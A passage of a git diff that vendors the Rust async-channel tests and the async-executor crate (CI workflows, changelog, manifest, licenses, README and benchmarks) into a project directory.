unbounded::<()>(); + let receiver_clones: Vec<_> = (0..20).map(|_| r.clone()).collect(); + + assert_eq!(s.receiver_count(), 21); + assert_eq!(r.receiver_count(), 21); + + drop(receiver_clones); + + assert_eq!(s.receiver_count(), 1); + assert_eq!(r.receiver_count(), 1); +} + +#[test] +fn sender_count() { + let (s, r) = unbounded::<()>(); + let sender_clones: Vec<_> = (0..20).map(|_| s.clone()).collect(); + + assert_eq!(s.sender_count(), 21); + assert_eq!(r.sender_count(), 21); + + drop(sender_clones); + + assert_eq!(s.receiver_count(), 1); + assert_eq!(r.receiver_count(), 1); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn close_wakes_receiver() { + let (s, r) = unbounded::<()>(); + + Parallel::new() + .add(move || { + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + sleep(ms(1000)); + drop(s); + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn spsc() { + const COUNT: usize = 100_000; + + let (s, r) = unbounded(); + + Parallel::new() + .add(move || { + for i in 0..COUNT { + assert_eq!(future::block_on(r.recv()), Ok(i)); + } + assert_eq!(future::block_on(r.recv()), Err(RecvError)); + }) + .add(move || { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn mpmc() { + const COUNT: usize = 25_000; + const THREADS: usize = 4; + + let (s, r) = unbounded::(); + let v = (0..COUNT).map(|_| AtomicUsize::new(0)).collect::>(); + + Parallel::new() + .each(0..THREADS, |_| { + for _ in 0..COUNT { + let n = future::block_on(r.recv()).unwrap(); + v[n].fetch_add(1, Ordering::SeqCst); + } + }) + .each(0..THREADS, |_| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + + for c in v { + assert_eq!(c.load(Ordering::SeqCst), THREADS); + } +} + +#[cfg(not(target_family = "wasm"))] +#[test] +fn mpmc_stream() { + const COUNT: usize = 25_000; + const THREADS: usize = 4; + + let (s, r) = unbounded::(); + let v = (0..COUNT).map(|_| AtomicUsize::new(0)).collect::>(); + let v = &v; + + Parallel::new() + .each(0..THREADS, { + let r = r.clone(); + move |_| { + futures_lite::pin!(r); + for _ in 0..COUNT { + let n = future::block_on(r.next()).unwrap(); + v[n].fetch_add(1, Ordering::SeqCst); + } + } + }) + .each(0..THREADS, |_| { + for i in 0..COUNT { + future::block_on(s.send(i)).unwrap(); + } + }) + .run(); + + assert_eq!(r.try_recv(), Err(TryRecvError::Empty)); + + for c in v { + assert_eq!(c.load(Ordering::SeqCst), THREADS); + } +} + +#[cfg(all(feature = "std", not(target_family = "wasm")))] +#[test] +fn weak() { + let (s, r) = unbounded::(); + + // Create a weak sender/receiver pair. + let (weak_s, weak_r) = (s.downgrade(), r.downgrade()); + + // Upgrade and send. + { + let s = weak_s.upgrade().unwrap(); + s.send_blocking(3).unwrap(); + let r = weak_r.upgrade().unwrap(); + assert_eq!(r.recv_blocking(), Ok(3)); + } + + // Drop the original sender/receiver pair. + drop((s, r)); + + // Try to upgrade again. + { + assert!(weak_s.upgrade().is_none()); + assert!(weak_r.upgrade().is_none()); + } +} diff --git a/lib/malio/async-executor/.github/dependabot.yml b/lib/malio/async-executor/.github/dependabot.yml new file mode 100644 index 0000000..52f7945 --- /dev/null +++ b/lib/malio/async-executor/.github/dependabot.yml @@ -0,0 +1,9 @@ +version: 2 +updates: + - package-ecosystem: cargo + directory: / + schedule: + interval: weekly + commit-message: + prefix: '' + labels: [] diff --git a/lib/malio/async-executor/.github/workflows/ci.yml b/lib/malio/async-executor/.github/workflows/ci.yml new file mode 100644 index 0000000..7a0ba04 --- /dev/null +++ b/lib/malio/async-executor/.github/workflows/ci.yml @@ -0,0 +1,91 @@ +name: CI + +permissions: + contents: read + +on: + pull_request: + push: + branches: + - master + schedule: + - cron: '0 2 * * 0' + +env: + CARGO_INCREMENTAL: 0 + CARGO_NET_GIT_FETCH_WITH_CLI: true + CARGO_NET_RETRY: 10 + CARGO_TERM_COLOR: always + RUST_BACKTRACE: 1 + RUSTFLAGS: -D warnings + RUSTDOCFLAGS: -D warnings + RUSTUP_MAX_RETRIES: 10 + +defaults: + run: + shell: bash + +jobs: + fmt: + uses: smol-rs/.github/.github/workflows/fmt.yml@main + security_audit: + uses: smol-rs/.github/.github/workflows/security_audit.yml@main + permissions: + checks: write + contents: read + issues: write + secrets: inherit + + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest] + rust: [nightly, beta, stable] + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update ${{ matrix.rust }} && rustup default ${{ matrix.rust }} + - run: rustup target add wasm32-unknown-unknown + - uses: taiki-e/install-action@cargo-hack + - run: cargo build --all --all-features --all-targets + if: startsWith(matrix.rust, 'nightly') + - name: Run cargo check (without dev-dependencies to catch missing feature flags) + if: startsWith(matrix.rust, 'nightly') + run: cargo check -Z features=dev_dep + - run: cargo test + - run: cargo test --all-features + - run: cargo check --all --all-features --target wasm32-unknown-unknown + - run: cargo hack build --all --all-features --target wasm32-unknown-unknown --no-dev-deps + + msrv: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install cargo-hack + uses: taiki-e/install-action@cargo-hack + - run: cargo hack build --rust-version + + clippy: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup update stable + - run: cargo clippy --all-features --all-targets + + miri: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Install Rust + run: rustup toolchain install nightly --component miri && rustup default nightly + - run: cargo miri test + env: + MIRIFLAGS: -Zmiri-strict-provenance -Zmiri-symbolic-alignment-check -Zmiri-disable-isolation + RUSTFLAGS: ${{ env.RUSTFLAGS }} -Z randomize-layout + - run: cargo miri test --all-features + env: + MIRIFLAGS: -Zmiri-strict-provenance -Zmiri-symbolic-alignment-check -Zmiri-disable-isolation -Zmiri-ignore-leaks + RUSTFLAGS: ${{ env.RUSTFLAGS }} -Z randomize-layout diff --git a/lib/malio/async-executor/.github/workflows/release.yml b/lib/malio/async-executor/.github/workflows/release.yml new file mode 100644 index 0000000..59fad1f --- /dev/null +++ b/lib/malio/async-executor/.github/workflows/release.yml @@ -0,0 +1,22 @@ +name: Release + +permissions: + contents: write + +on: + push: + tags: + - v[0-9]+.* + +jobs: + create-release: + if: github.repository_owner == 'smol-rs' + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: taiki-e/create-gh-release-action@v1 + with: + changelog: CHANGELOG.md + branch: master + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/lib/malio/async-executor/.gitignore b/lib/malio/async-executor/.gitignore new file mode 100644 index 0000000..96ef6c0 --- /dev/null +++ b/lib/malio/async-executor/.gitignore @@ -0,0 +1,2 @@ +/target +Cargo.lock diff --git a/lib/malio/async-executor/CHANGELOG.md b/lib/malio/async-executor/CHANGELOG.md new file mode 100644 index 0000000..89311fb --- /dev/null +++ b/lib/malio/async-executor/CHANGELOG.md @@ -0,0 +1,134 @@ +# Version 1.13.3 + +- Avoid places where the code had a possibility to block or panic. (#147) + +# Version 1.13.2 + +- Fix build failure with minimal-versions. (#132) +- Prevent executor from becoming unusable by panic of the iterator passed by the user to the `spawn_many`. (#136) +- Reduce memory footprint. (#137) + +# Version 1.13.1 + +- Fix docs.rs build. (#125) + +# Version 1.13.0 + +- Relax the `Send` bound on `LocalExecutor::spawn_many`. (#120) +- Ensure all features are documented on `docs.rs`. (#122) + +# Version 1.12.0 + +- Add static executors, which are an optimization over executors that are kept + around forever. (#112) + +# Version 1.11.0 + +- Re-export the `async_task::FallibleTask` primitive. (#113) +- Support racy initialization of the executor state. This should allow the executor to be + initialized on web targets without any issues. (#108) + +# Version 1.10.0 + +- Add a function `spawn_batch` that allows users to spawn multiple tasks while only locking the executor once. (#92) + +# Version 1.9.1 + +- Remove the thread-local optimization due to the bugs that it introduces. (#106) + +# Version 1.9.0 + +- Re-introduce the thread-local task push optimization to the executor. (#93) +- Bump `async-task` to v4.4.0. (#90) +- Replace some unnecessary atomic operations with non-atomic operations. (#94) +- Use weaker atomic orderings for notifications. (#95) +- When spawning a future, avoid looking up the ID to assign to that future twice. (#96) + +# Version 1.8.0 + +- When spawned tasks panic, the panic is caught and then surfaced in the spawned + `Task`. Previously, the panic would be surfaced in `tick()` or `run()`. (#78) + +# Version 1.7.2 + +- Fix compilation under WebAssembly targets (#77). + +# Version 1.7.1 + +- Fix compilation under WebAssembly targets (#75). +- Add a disclaimer indicating that this is a reference executor (#74). + +# Version 1.7.0 + +- Bump `async-lock` and `futures-lite` to their latest versions. (#70) + +# Version 1.6.0 + +- Remove the thread-local queue optimization, as it caused a number of bugs in production use cases. (#61) + +# Version 1.5.4 + +- Fix a panic that could happen when two concurrent `run()` calls are made and the thread local task slot is left as `None`. (#55) + +# Version 1.5.3 + +- Fix an accidental breaking change in v1.5.2, where `ex.run()` was no longer `Send`. (#50) +- Remove the unused `memchr` dependency. (#51) + +# Version 1.5.2 + +- Add thread-local task queue optimizations, allowing new tasks to avoid using the global queue. (#37) +- Update `fastrand` to v2. (#45) + +# Version 1.5.1 + +- Implement a better form of debug output for Executor and LocalExecutor. (#33) + +# Version 1.5.0 + +- Remove the dependency on the `once_cell` crate to restore the MSRV. (#29) +- Update `concurrent-queue` to v2. + +# Version 1.4.1 + +- Remove dependency on deprecated `vec-arena`. (#23) + +# Version 1.4.0 + +- Add `Executor::is_empty()` and `LocalExecutor::is_empty()`. + +# Version 1.3.0 + +- Parametrize executors over a lifetime to allow spawning non-`static` futures. + +# Version 1.2.0 + +- Update `async-task` to v4. + +# Version 1.1.1 + +- Replace `AtomicU64` with `AtomicUsize`. + +# Version 1.1.0 + +- Use atomics to make `Executor::run()` and `Executor::tick()` futures `Send + Sync`. + +# Version 1.0.0 + +- Stabilize. + +# Version 0.2.1 + +- Add `try_tick()` and `tick()` methods. + +# Version 0.2.0 + +- Redesign the whole API. + +# Version 0.1.2 + +- Add the `Spawner` API. + +# Version 0.1.1 + +- Initial version diff --git a/lib/malio/async-executor/Cargo.toml b/lib/malio/async-executor/Cargo.toml new file mode 100644 index 0000000..4fb566f --- /dev/null +++ b/lib/malio/async-executor/Cargo.toml @@ -0,0 +1,48 @@ +[package] +name = "async-executor" +# When publishing a new version: +# - Update CHANGELOG.md +# - Create "v1.x.y" git tag +version = "1.13.3" +authors = ["Stjepan Glavina ", "John Nunley "] +edition = "2021" +rust-version = "1.65" +description = "Async executor" +license = "Apache-2.0 OR MIT" +repository = "https://github.com/smol-rs/async-executor" +keywords = ["asynchronous", "executor", "single", "multi", "spawn"] +categories = ["asynchronous", "concurrency"] +exclude = ["/.*"] + +[features] +# Adds support for executors optimized for use in static variables. +static = [] + +[dependencies] +async-task = "4.4.0" +concurrent-queue = "2.5.0" +fastrand = "2.0.0" +futures-lite = { version = "2.0.0", default-features = false } +pin-project-lite = "0.2" +slab = "0.4.7" + +[target.'cfg(target_family = "wasm")'.dependencies] +futures-lite = { version = "2.0.0", default-features = false, features = ["std"] } + +[dev-dependencies] +async-channel = "2.0.0" +async-io = "2.1.0" +async-lock = "3.0.0" +criterion = { version = "0.8", default-features = false, features = ["cargo_bench_support"] } +easy-parallel = "3.1.0" +fastrand = "2.0.0" +futures-lite = "2.0.0" +once_cell = "1.16.0" + +[[bench]] +name = "executor" +harness = false +required-features = ["static"] + +[package.metadata.docs.rs] +all-features = true diff --git a/lib/malio/async-executor/LICENSE-APACHE b/lib/malio/async-executor/LICENSE-APACHE new file mode 100644 index 0000000..16fe87b --- /dev/null +++ b/lib/malio/async-executor/LICENSE-APACHE @@ -0,0 +1,201 @@ + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + +TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + +1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + +2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + +3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + +4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + +5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + +6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + +7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + +8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + +9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + +END OF TERMS AND CONDITIONS + +APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. We also recommend that a + file or class name and description of purpose be included on the + same "printed page" as the copyright notice for easier + identification within third-party archives. + +Copyright [yyyy] [name of copyright owner] + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. diff --git a/lib/malio/async-executor/LICENSE-MIT b/lib/malio/async-executor/LICENSE-MIT new file mode 100644 index 0000000..31aa793 --- /dev/null +++ b/lib/malio/async-executor/LICENSE-MIT @@ -0,0 +1,23 @@ +Permission is hereby granted, free of charge, to any +person obtaining a copy of this software and associated +documentation files (the "Software"), to deal in the +Software without restriction, including without +limitation the rights to use, copy, modify, merge, +publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software +is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice +shall be included in all copies or substantial portions +of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF +ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED +TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A +PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT +SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR +IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER +DEALINGS IN THE SOFTWARE. diff --git a/lib/malio/async-executor/README.md b/lib/malio/async-executor/README.md new file mode 100644 index 0000000..fed40b9 --- /dev/null +++ b/lib/malio/async-executor/README.md @@ -0,0 +1,52 @@ +# async-executor + +[![Build](https://github.com/smol-rs/async-executor/actions/workflows/ci.yml/badge.svg)]( +https://github.com/smol-rs/async-executor/actions) +[![License](https://img.shields.io/badge/license-Apache--2.0_OR_MIT-blue.svg)]( +https://github.com/smol-rs/async-executor) +[![Cargo](https://img.shields.io/crates/v/async-executor.svg)]( +https://crates.io/crates/async-executor) +[![Documentation](https://docs.rs/async-executor/badge.svg)]( +https://docs.rs/async-executor) + +Async executors. + +This crate provides two reference executors that trade performance for +functionality. They should be considered reference executors that are "good +enough" for most use cases. For more specialized use cases, consider writing +your own executor on top of [`async-task`]. + +[`async-task`]: https://crates.io/crates/async-task + +## Examples + +```rust +use async_executor::Executor; +use futures_lite::future; + +// Create a new executor. +let ex = Executor::new(); + +// Spawn a task. +let task = ex.spawn(async { + println!("Hello world"); +}); + +// Run the executor until the task completes. +future::block_on(ex.run(task)); +``` + +## License + +Licensed under either of + + * Apache License, Version 2.0 ([LICENSE-APACHE](LICENSE-APACHE) or http://www.apache.org/licenses/LICENSE-2.0) + * MIT license ([LICENSE-MIT](LICENSE-MIT) or http://opensource.org/licenses/MIT) + +at your option. + +#### Contribution + +Unless you explicitly state otherwise, any contribution intentionally submitted +for inclusion in the work by you, as defined in the Apache-2.0 license, shall be +dual licensed as above, without any additional terms or conditions. diff --git a/lib/malio/async-executor/benches/executor.rs b/lib/malio/async-executor/benches/executor.rs new file mode 100644 index 0000000..5fc140f --- /dev/null +++ b/lib/malio/async-executor/benches/executor.rs @@ -0,0 +1,498 @@ +#![allow(clippy::incompatible_msrv)] // false positive: https://github.com/rust-lang/rust-clippy/issues/12257#issuecomment-2093667187 + +use std::hint::black_box; +use std::mem; +use std::thread::available_parallelism; + +use async_executor::{Executor, StaticExecutor}; +use criterion::{criterion_group, criterion_main, Criterion}; +use futures_lite::{future, prelude::*}; + +const TASKS: usize = 300; +const STEPS: usize = 300; +const LIGHT_TASKS: usize = 25_000; + +static EX: Executor<'_> = Executor::new(); +static STATIC_EX: StaticExecutor = StaticExecutor::new(); + +fn run(f: impl FnOnce(), multithread: bool) { + let limit = if multithread { + available_parallelism().unwrap().get() + } else { + 1 + }; + + let (s, r) = async_channel::bounded::<()>(1); + easy_parallel::Parallel::new() + .each(0..limit, |_| future::block_on(EX.run(r.recv()))) + .finish(move || { + let _s = s; + f() + }); +} + +fn run_static(f: impl FnOnce(), multithread: bool) { + let limit = if multithread { + available_parallelism().unwrap().get() + } else { + 1 + }; + + let (s, r) = async_channel::bounded::<()>(1); + easy_parallel::Parallel::new() + .each(0..limit, |_| future::block_on(STATIC_EX.run(r.recv()))) + .finish(move || { + let _s = s; + f() + }); +} + +fn create(c: &mut Criterion) { + c.bench_function("executor::create", |b| { + b.iter(|| { + let ex = Executor::new(); + let task = ex.spawn(async {}); + future::block_on(ex.run(task)); + }) + }); +} + +fn running_benches(c: &mut Criterion) { + for (prefix, with_static) in [("executor", false), ("static_executor", true)] { + for (group_name, multithread) in [("single_thread", false), ("multi_thread", true)].iter() { + let mut group = c.benchmark_group(group_name.to_string()); + + group.bench_function(format!("{prefix}::spawn_one"), |b| { + if with_static { + run_static( + || { + b.iter(|| { + future::block_on(async { STATIC_EX.spawn(async {}).await }); + }); + }, + *multithread, + ); + } else { + run( + || { + b.iter(|| { + future::block_on(async { EX.spawn(async {}).await }); + }); + }, + *multithread, + ); + } + }); + + if !with_static { + group.bench_function("executor::spawn_batch", |b| { + run( + || { + let mut handles = vec![]; + + b.iter(|| { + EX.spawn_many((0..250).map(|_| future::yield_now()), &mut handles); + }); + + handles.clear(); + }, + *multithread, + ) + }); + } + + group.bench_function(format!("{prefix}::spawn_many_local"), |b| { + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..LIGHT_TASKS { + tasks.push(STATIC_EX.spawn(async {})); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } else { + run( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..LIGHT_TASKS { + tasks.push(EX.spawn(async {})); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } + }); + + group.bench_function(format!("{prefix}::spawn_recursively"), |b| { + #[allow(clippy::manual_async_fn)] + fn go(i: usize) -> impl Future + Send + 'static { + async move { + if i != 0 { + EX.spawn(async move { + let fut = go(i - 1).boxed(); + fut.await; + }) + .await; + } + } + } + + #[allow(clippy::manual_async_fn)] + fn go_static(i: usize) -> impl Future + Send + 'static { + async move { + if i != 0 { + STATIC_EX + .spawn(async move { + let fut = go_static(i - 1).boxed(); + fut.await; + }) + .await; + } + } + } + + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..TASKS { + tasks.push(STATIC_EX.spawn(go_static(STEPS))); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } else { + run( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..TASKS { + tasks.push(EX.spawn(go(STEPS))); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } + }); + + group.bench_function(format!("{prefix}::yield_now"), |b| { + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..TASKS { + tasks.push(STATIC_EX.spawn(async move { + for _ in 0..STEPS { + future::yield_now().await; + } + })); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } else { + run( + || { + b.iter(move || { + future::block_on(async { + let mut tasks = Vec::new(); + for _ in 0..TASKS { + tasks.push(EX.spawn(async move { + for _ in 0..STEPS { + future::yield_now().await; + } + })); + } + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ); + } + }); + + group.bench_function(format!("{prefix}::channels"), |b| { + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + // Create channels. + let mut tasks = Vec::new(); + let (first_send, first_recv) = async_channel::bounded(1); + let mut current_recv = first_recv; + + for _ in 0..TASKS { + let (next_send, next_recv) = async_channel::bounded(1); + let current_recv = + mem::replace(&mut current_recv, next_recv); + + tasks.push(STATIC_EX.spawn(async move { + // Send a notification on to the next task. + for _ in 0..STEPS { + current_recv.recv().await.unwrap(); + next_send.send(()).await.unwrap(); + } + })); + } + + for _ in 0..STEPS { + first_send.send(()).await.unwrap(); + current_recv.recv().await.unwrap(); + } + + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ) + } else { + run( + || { + b.iter(move || { + future::block_on(async { + // Create channels. + let mut tasks = Vec::new(); + let (first_send, first_recv) = async_channel::bounded(1); + let mut current_recv = first_recv; + + for _ in 0..TASKS { + let (next_send, next_recv) = async_channel::bounded(1); + let current_recv = + mem::replace(&mut current_recv, next_recv); + + tasks.push(EX.spawn(async move { + // Send a notification on to the next task. + for _ in 0..STEPS { + current_recv.recv().await.unwrap(); + next_send.send(()).await.unwrap(); + } + })); + } + + for _ in 0..STEPS { + first_send.send(()).await.unwrap(); + current_recv.recv().await.unwrap(); + } + + for task in tasks { + task.await; + } + }); + }); + }, + *multithread, + ) + } + }); + + group.bench_function(format!("{prefix}::web_server"), |b| { + if with_static { + run_static( + || { + b.iter(move || { + future::block_on(async { + let (db_send, db_recv) = + async_channel::bounded::>( + TASKS / 5, + ); + let mut db_rng = fastrand::Rng::with_seed(0x12345678); + let mut web_rng = db_rng.fork(); + + // This task simulates a database. + let db_task = STATIC_EX.spawn(async move { + loop { + // Wait for a new task. + let incoming = match db_recv.recv().await { + Ok(incoming) => incoming, + Err(_) => break, + }; + + // Process the task. Maybe it takes a while. + for _ in 0..db_rng.usize(..10) { + future::yield_now().await; + } + + // Send the data back. + incoming.send(db_rng.usize(..)).await.ok(); + } + }); + + // This task simulates a web server waiting for new tasks. + let server_task = STATIC_EX.spawn(async move { + for i in 0..TASKS { + // Get a new connection. + if web_rng.usize(..=16) == 16 { + future::yield_now().await; + } + + let mut web_rng = web_rng.fork(); + let db_send = db_send.clone(); + let task = STATIC_EX.spawn(async move { + // Check if the data is cached... + if web_rng.bool() { + // ...it's in cache! + future::yield_now().await; + return; + } + + // Otherwise we have to make a DB call or two. + for _ in 0..web_rng.usize(STEPS / 2..STEPS) { + let (resp_send, resp_recv) = + async_channel::bounded(1); + db_send.send(resp_send).await.unwrap(); + black_box(resp_recv.recv().await.unwrap()); + } + + // Send the data back... + for _ in 0..web_rng.usize(3..16) { + future::yield_now().await; + } + }); + + task.detach(); + + if i & 16 == 0 { + future::yield_now().await; + } + } + }); + + // Spawn and wait for it to stop. + server_task.await; + db_task.await; + }); + }) + }, + *multithread, + ) + } else { + run( + || { + b.iter(move || { + future::block_on(async { + let (db_send, db_recv) = + async_channel::bounded::>( + TASKS / 5, + ); + let mut db_rng = fastrand::Rng::with_seed(0x12345678); + let mut web_rng = db_rng.fork(); + + // This task simulates a database. + let db_task = EX.spawn(async move { + loop { + // Wait for a new task. + let incoming = match db_recv.recv().await { + Ok(incoming) => incoming, + Err(_) => break, + }; + + // Process the task. Maybe it takes a while. + for _ in 0..db_rng.usize(..10) { + future::yield_now().await; + } + + // Send the data back. + incoming.send(db_rng.usize(..)).await.ok(); + } + }); + + // This task simulates a web server waiting for new tasks. + let server_task = EX.spawn(async move { + for i in 0..TASKS { + // Get a new connection. + if web_rng.usize(..=16) == 16 { + future::yield_now().await; + } + + let mut web_rng = web_rng.fork(); + let db_send = db_send.clone(); + let task = EX.spawn(async move { + // Check if the data is cached... + if web_rng.bool() { + // ...it's in cache! + future::yield_now().await; + return; + } + + // Otherwise we have to make a DB call or two. + for _ in 0..web_rng.usize(STEPS / 2..STEPS) { + let (resp_send, resp_recv) = + async_channel::bounded(1); + db_send.send(resp_send).await.unwrap(); + black_box(resp_recv.recv().await.unwrap()); + } + + // Send the data back... + for _ in 0..web_rng.usize(3..16) 